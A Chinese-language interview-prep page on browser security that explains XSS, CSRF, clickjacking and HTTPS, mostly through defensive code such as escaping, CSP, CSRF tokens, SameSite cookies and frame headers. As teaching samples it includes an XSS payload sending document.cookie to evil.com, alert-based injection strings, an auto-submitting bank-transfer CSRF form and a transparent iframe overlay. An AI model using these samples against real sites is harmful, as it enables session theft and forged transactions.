跳到主要内容

浏览器安全

问题

常见的 Web 安全攻击有哪些?如何防御 XSS 和 CSRF 攻击?

答案

Web 安全主要涉及以下攻击类型:

攻击类型全称危害
XSS跨站脚本攻击窃取用户数据、劫持会话
CSRF跨站请求伪造冒充用户执行操作
点击劫持Clickjacking诱导用户误操作
中间人攻击MITM窃取、篡改通信数据

XSS(跨站脚本攻击)

XSS(Cross-Site Scripting)是指攻击者将恶意脚本注入到网页中,在用户浏览时执行。

XSS 类型

存储型 XSS(持久型)

恶意脚本被存储在服务器数据库中:

// 攻击者在评论区提交
const maliciousComment = '<script>fetch("https://evil.com/steal?cookie=" + document.cookie)</script>';

// 服务端未过滤直接存储
db.comments.insert({ content: maliciousComment });

// 其他用户访问时,脚本被执行
// 用户的 Cookie 被发送到攻击者服务器

反射型 XSS(非持久型)

恶意脚本在 URL 参数中,服务端返回时包含:

// 攻击者构造恶意链接
// https://example.com/search?q=<script>alert('XSS')</script>

// 服务端直接将参数插入 HTML
app.get('/search', (req, res) => {
const query = req.query.q;
// ❌ 危险:直接插入用户输入
res.send(`<h1>搜索结果: ${query}</h1>`);
});

DOM 型 XSS

前端 JavaScript 直接操作 DOM,不经过服务端:

// 攻击者构造恶意链接
// https://example.com/page#<img src=x onerror=alert('XSS')>

// 前端代码直接使用 hash
const hash = location.hash.slice(1);
// ❌ 危险:直接插入 HTML
document.getElementById('content').innerHTML = decodeURIComponent(hash);

XSS 防御措施

1. 输出编码(最重要)

// HTML 实体编码
function escapeHtml(str: string): string {
const escapeMap: Record<string, string> = {
'&': '&amp;',
'<': '&lt;',
'>': '&gt;',
'"': '&quot;',
"'": '&#x27;',
'/': '&#x2F;',
};
return str.replace(/[&<>"'/]/g, char => escapeMap[char]);
}

// 使用
const userInput = '<script>alert("XSS")</script>';
element.innerHTML = escapeHtml(userInput);
// 输出: &lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;

2. 使用安全的 API

// ❌ 危险的 API
element.innerHTML = userInput;
element.outerHTML = userInput;
document.write(userInput);
element.insertAdjacentHTML('beforeend', userInput);
eval(userInput);

// ✅ 安全的 API
element.textContent = userInput; // 自动编码
element.innerText = userInput;

// React 默认安全
return <div>{userInput}</div>; // 自动转义

// 如果确实需要 HTML
return <div dangerouslySetInnerHTML={{ __html: sanitizedHtml }} />;

3. CSP(内容安全策略)

<!-- HTTP 响应头 -->
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-abc123';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
<!-- 或 meta 标签 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
CSP 指令说明
default-src默认策略
script-srcJavaScript 来源
style-srcCSS 来源
img-src图片来源
connect-srcAJAX/WebSocket 来源
frame-srciframe 来源
'self'同源
'none'禁止
'unsafe-inline'允许内联(不推荐)
'nonce-xxx'指定 nonce 的脚本
// 设置 HttpOnly,JavaScript 无法读取
res.cookie('session', token, {
httpOnly: true, // 防止 XSS 窃取
secure: true, // 仅 HTTPS
sameSite: 'strict', // 防止 CSRF
});

5. 输入验证和过滤

import DOMPurify from 'dompurify';

// 使用 DOMPurify 清理 HTML
const dirty = '<script>alert("XSS")</script><p>Hello</p>';
const clean = DOMPurify.sanitize(dirty);
// 结果: <p>Hello</p>

// 配置允许的标签和属性
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href', 'title'],
});

CSRF(跨站请求伪造)

CSRF(Cross-Site Request Forgery)是指攻击者诱导用户访问恶意页面,利用用户的登录状态发送请求。

CSRF 攻击原理

<!-- 恶意网站的页面 -->
<body onload="document.forms[0].submit()">
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="10000" />
</form>
</body>

CSRF 防御措施

1. CSRF Token

// 服务端生成 Token
app.get('/form', (req, res) => {
const csrfToken = crypto.randomUUID();
req.session.csrfToken = csrfToken;

res.send(`
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="${csrfToken}" />
<input type="text" name="amount" />
<button type="submit">转账</button>
</form>
`);
});

// 服务端验证 Token
app.post('/transfer', (req, res) => {
if (req.body._csrf !== req.session.csrfToken) {
return res.status(403).send('CSRF token invalid');
}
// 处理请求
});
// 设置 SameSite 属性
res.cookie('session', token, {
sameSite: 'strict', // 最严格,跨站请求不发送 Cookie
// sameSite: 'lax', // 宽松,导航到目标网站的 GET 请求会发送
// sameSite: 'none', // 无限制,需要配合 Secure
secure: true,
httpOnly: true,
});
SameSite 值说明
Strict完全禁止跨站发送 Cookie
Lax允许导航的 GET 请求(默认值)
None允许跨站,需要 Secure

3. 验证 Referer/Origin

app.post('/api/transfer', (req, res) => {
const origin = req.headers.origin || req.headers.referer;
const allowedOrigins = ['https://bank.com'];

if (!origin || !allowedOrigins.some(o => origin.startsWith(o))) {
return res.status(403).send('Invalid origin');
}
// 处理请求
});
// 前端:同时在 Cookie 和请求头中发送 Token
const csrfToken = getCookie('csrf-token');
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': csrfToken, // 请求头
},
credentials: 'include', // Cookie 也会发送
});

// 服务端:比较两者是否一致
app.post('/api/transfer', (req, res) => {
const cookieToken = req.cookies['csrf-token'];
const headerToken = req.headers['x-csrf-token'];

if (!cookieToken || cookieToken !== headerToken) {
return res.status(403).send('CSRF validation failed');
}
// 处理请求
});

点击劫持(Clickjacking)

攻击者通过透明 iframe 覆盖在正常页面上,诱导用户点击。

攻击原理

<!-- 攻击者网站 -->
<style>
.overlay {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0; /* 透明 */
z-index: 999;
}
</style>

<!-- 透明的 iframe 覆盖在按钮上 -->
<iframe class="overlay" src="https://bank.com/transfer?to=attacker"></iframe>
<button>点击领取奖品</button>

防御措施

1. X-Frame-Options

// 禁止被嵌入 iframe
res.setHeader('X-Frame-Options', 'DENY');

// 只允许同源嵌入
res.setHeader('X-Frame-Options', 'SAMEORIGIN');

// 允许指定来源(已废弃)
res.setHeader('X-Frame-Options', 'ALLOW-FROM https://example.com');

2. CSP frame-ancestors

// 更灵活的控制(推荐)
res.setHeader('Content-Security-Policy', "frame-ancestors 'self'");
res.setHeader('Content-Security-Policy', "frame-ancestors 'none'");
res.setHeader('Content-Security-Policy', "frame-ancestors https://example.com");

3. JavaScript 检测

// 检测是否被嵌入 iframe
if (window.top !== window.self) {
// 被嵌入了,可以:
// 1. 跳出 iframe
window.top.location = window.self.location;
// 2. 或隐藏内容
document.body.style.display = 'none';
}

HTTPS 与中间人攻击

中间人攻击(MITM)

HTTPS 防护

HSTS(HTTP 严格传输安全)

// 强制使用 HTTPS
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload');
参数说明
max-age记住 HTTPS 的时间(秒)
includeSubDomains包含子域名
preload允许加入浏览器预加载列表

安全最佳实践

// 综合安全响应头配置
function setSecurityHeaders(res: Response) {
// 防止 XSS
res.setHeader('Content-Security-Policy', "default-src 'self'; script-src 'self'");
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-XSS-Protection', '1; mode=block');

// 防止点击劫持
res.setHeader('X-Frame-Options', 'DENY');

// 强制 HTTPS
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');

// 控制 Referer
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');

// 禁用危险功能
res.setHeader('Permissions-Policy', 'geolocation=(), microphone=(), camera=()');
}

常见面试问题

Q1: XSS 和 CSRF 有什么区别?

答案

特性XSSCSRF
攻击方式注入恶意脚本伪造用户请求
攻击目标用户浏览器服务器
利用的是用户对网站的信任网站对用户的信任
是否需要登录不需要需要(利用登录状态)
能做什么任意 JS 能做的事只能发送请求

简单记忆

  • XSS:攻击者的代码在你的网站执行
  • CSRF:攻击者让你帮他发请求

Q2: 如何防御 XSS 攻击?

答案

  1. 输出编码:对用户输入进行 HTML 实体编码
// 将 < > " ' 等转义
escapeHtml(userInput);
  1. 使用安全 API
element.textContent = userInput;  // 不是 innerHTML
  1. CSP(内容安全策略)
Content-Security-Policy: default-src 'self'; script-src 'self'
  1. HttpOnly Cookie:防止脚本读取 Cookie

Q3: CSRF Token 为什么能防御 CSRF?

答案

CSRF 攻击成功的前提是攻击者能预测请求的所有参数。

CSRF Token 的原理

  1. 服务端生成随机 Token,存在 session 中
  2. 表单中包含这个 Token
  3. 提交时验证 Token 是否匹配

攻击者无法获取 Token,因为:

  1. Token 是随机的,无法预测
  2. 同源策略阻止攻击者读取目标网站的页面内容

答案

说明使用场景
Strict完全禁止跨站发送最安全,可能影响用户体验
Lax导航 GET 请求允许默认值,平衡安全和体验
None允许跨站第三方 Cookie,需要 Secure
// Lax 允许的情况
// 用户点击链接跳转:Cookie 发送
// 表单 GET 提交:Cookie 发送
// iframe 加载:Cookie 不发送
// AJAX 请求:Cookie 不发送
// 图片加载:Cookie 不发送

Q5: CSP 是什么?有什么作用?

答案

CSP(Content Security Policy,内容安全策略)是一种白名单机制,告诉浏览器哪些资源可以加载和执行。

作用

  1. 防止 XSS 攻击(禁止内联脚本、限制脚本来源)
  2. 防止数据注入攻击
  3. 防止恶意资源加载
Content-Security-Policy: 
default-src 'self'; # 默认只允许同源
script-src 'self' 'nonce-xxx'; # 脚本需要 nonce
style-src 'self' 'unsafe-inline'; # 允许内联样式
img-src 'self' data: https:; # 图片允许 data: 和 https

Q6: CSP(Content Security Policy)是什么?如何配置?

答案

CSP(内容安全策略)是一种白名单安全机制,通过 HTTP 响应头或 <meta> 标签告诉浏览器哪些来源的资源可以加载和执行,从而有效防御 XSS 和数据注入攻击。

配置方式

// 方式 1:HTTP 响应头(推荐)
// Express / Koa 中间件
function cspMiddleware(req: any, res: any, next: () => void): void {
res.setHeader('Content-Security-Policy', [
"default-src 'self'", // 默认只允许同源
"script-src 'self' 'nonce-abc123' https://cdn.example.com", // 脚本来源
"style-src 'self' 'unsafe-inline'", // 样式来源(允许内联样式)
"img-src 'self' data: https:", // 图片来源
"font-src 'self' https://fonts.gstatic.com", // 字体来源
"connect-src 'self' https://api.example.com", // AJAX/WebSocket 来源
"frame-ancestors 'none'", // 禁止被嵌入 iframe
"report-uri /csp-report", // 违规上报地址
].join('; '));
next();
}
<!-- 方式 2:meta 标签(无法使用 frame-ancestors 和 report-uri) -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' 'nonce-abc123'">

常用指令一览

指令说明示例
default-src其他指令的后备策略'self'
script-srcJavaScript 来源'self' 'nonce-xxx'
style-srcCSS 来源'self' 'unsafe-inline'
img-src图片来源'self' data: https:
connect-srcAJAX/Fetch/WebSocket'self' https://api.com
font-src字体文件来源'self' https://fonts.com
frame-srciframe 加载的来源'self'
frame-ancestors谁可以嵌入本页面'none'
report-uri违规上报地址/csp-report

使用 nonce 和 hash 允许特定内联脚本

// nonce 方式:每次请求生成唯一随机值
import crypto from 'crypto';

function generateNonce(): string {
return crypto.randomBytes(16).toString('base64');
}

app.get('/', (req, res) => {
const nonce = generateNonce();
res.setHeader('Content-Security-Policy', `script-src 'nonce-${nonce}'`);
res.send(`
<html>
<!-- 只有带正确 nonce 的脚本才能执行 -->
<script nonce="${nonce}">console.log('允许执行')</script>
<script>console.log('被阻止')</script>
</html>
`);
});
# hash 方式:允许内容哈希匹配的内联脚本
Content-Security-Policy: script-src 'sha256-base64编码的哈希值'
调试建议

开发阶段可使用 Content-Security-Policy-Report-Only 头部,只上报不拦截,方便逐步完善策略:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

Q7: 如何防止点击劫持?X-Frame-Options 和 CSP frame-ancestors 的区别?

答案

点击劫持(Clickjacking)是指攻击者通过透明的 iframe 覆盖在诱导页面上,让用户在不知情的情况下点击隐藏的目标页面按钮。

防御方案有三种

1. X-Frame-Options(传统方案)

// DENY:完全禁止被嵌入任何 iframe
res.setHeader('X-Frame-Options', 'DENY');

// SAMEORIGIN:只允许同源页面嵌入
res.setHeader('X-Frame-Options', 'SAMEORIGIN');

// ALLOW-FROM:允许指定来源(已废弃,很多浏览器不支持)
res.setHeader('X-Frame-Options', 'ALLOW-FROM https://trusted.com');

2. CSP frame-ancestors(推荐方案)

// 禁止被嵌入
res.setHeader('Content-Security-Policy', "frame-ancestors 'none'");

// 只允许同源
res.setHeader('Content-Security-Policy', "frame-ancestors 'self'");

// 允许多个指定来源(X-Frame-Options 做不到!)
res.setHeader('Content-Security-Policy', "frame-ancestors 'self' https://trusted.com https://partner.com");

两者对比

特性X-Frame-OptionsCSP frame-ancestors
多来源支持不支持(ALLOW-FROM 只能一个且已废弃)支持多个来源
通配符支持不支持支持(如 https://*.example.com
浏览器支持所有浏览器现代浏览器(IE 不支持)
优先级高(CSP 会覆盖 X-Frame-Options)
标准状态非标准(但广泛支持)W3C 标准
最佳实践

建议同时设置两个头部,兼顾现代浏览器和旧浏览器:

res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('Content-Security-Policy', "frame-ancestors 'none'");

3. JavaScript 防御(兜底方案)

// 检测是否被嵌入 iframe
if (window.top !== window.self) {
// 方案 A:跳出 iframe
if (window.top) {
window.top.location = window.self.location;
}
}

// 更健壮的方案:默认隐藏页面,确认安全后再显示
// HTML: <body style="display:none">
if (window.self === window.top) {
document.body.style.display = 'block';
} else {
// 被嵌入了,跳转到顶层
if (window.top) {
window.top.location = window.self.location;
}
}
注意

JavaScript 防御方案不够可靠,攻击者可以通过 sandbox 属性禁用 iframe 中的 JS。HTTP 头部方案才是根本解决办法。

Q8: HTTPS 的工作原理?为什么 HTTPS 能防止中间人攻击?

答案

HTTPS = HTTP + TLS(Transport Layer Security)。TLS 通过非对称加密 + 对称加密的混合方案实现安全通信。

TLS 握手流程(以 TLS 1.2 为例)

核心安全机制

// 伪代码说明 TLS 的加密层次

// 1. 非对称加密(RSA/ECDSA):用于密钥交换和身份验证
// 特点:公钥加密,私钥解密;计算慢,只用于握手阶段
const preMasterSecret = rsaEncrypt(serverPublicKey, randomBytes(48));

// 2. 对称加密(AES-256-GCM):用于数据传输
// 特点:加解密用同一个密钥;计算快,用于后续所有通信
const masterSecret = prf(preMasterSecret, clientRandom, serverRandom);
const encryptedData = aesEncrypt(masterSecret, plaintext);

// 3. 消息认证码(HMAC):防止数据被篡改
const mac = hmac(masterSecret, encryptedData);

为什么能防止中间人攻击?三层防护

防护层机制防御什么
身份认证CA 证书链验证防止攻击者冒充服务器
数据加密对称加密(AES)防止窃听通信内容
数据完整性HMAC 消息认证防止篡改通信数据
// 证书验证的过程
// 1. 服务器发送证书链:服务器证书 → 中间 CA 证书 → 根 CA 证书
// 2. 客户端逐级验证签名
// 3. 检查根 CA 是否在系统信任列表中
// 4. 检查证书域名是否匹配
// 5. 检查证书是否过期
// 6. 检查证书是否被吊销(CRL/OCSP)

// 如果攻击者伪造证书:
// - 没有 CA 的私钥,无法生成合法签名
// - 客户端验证签名失败,连接被终止

前向安全性(PFS,Perfect Forward Secrecy)

// 传统 RSA 密钥交换的风险:
// 如果服务器私钥泄露,历史通信都可被解密

// PFS 方案(ECDHE):每次连接使用临时密钥对
// 即使服务器长期私钥泄露,也无法解密历史通信

// TLS 1.3 强制使用 ECDHE,保证前向安全性
// 推荐的加密套件:
// TLS_AES_256_GCM_SHA384
// TLS_CHACHA20_POLY1305_SHA256
// Nginx 配置示例:启用强加密
const nginxSSLConfig = `
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
ssl_prefer_server_ciphers on;

# HSTS:强制浏览器使用 HTTPS
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload";
`;
TLS 1.3 的改进

TLS 1.3 相比 1.2 有显著改进:

  • 握手更快:从 2-RTT 减少到 1-RTT(0-RTT 恢复)
  • 更安全:移除了不安全的加密算法(RSA 密钥交换、RC4、SHA-1 等)
  • 强制 PFS:所有密钥交换都使用 ECDHE
  • 简化:加密套件从数十种精简到 5 种

相关链接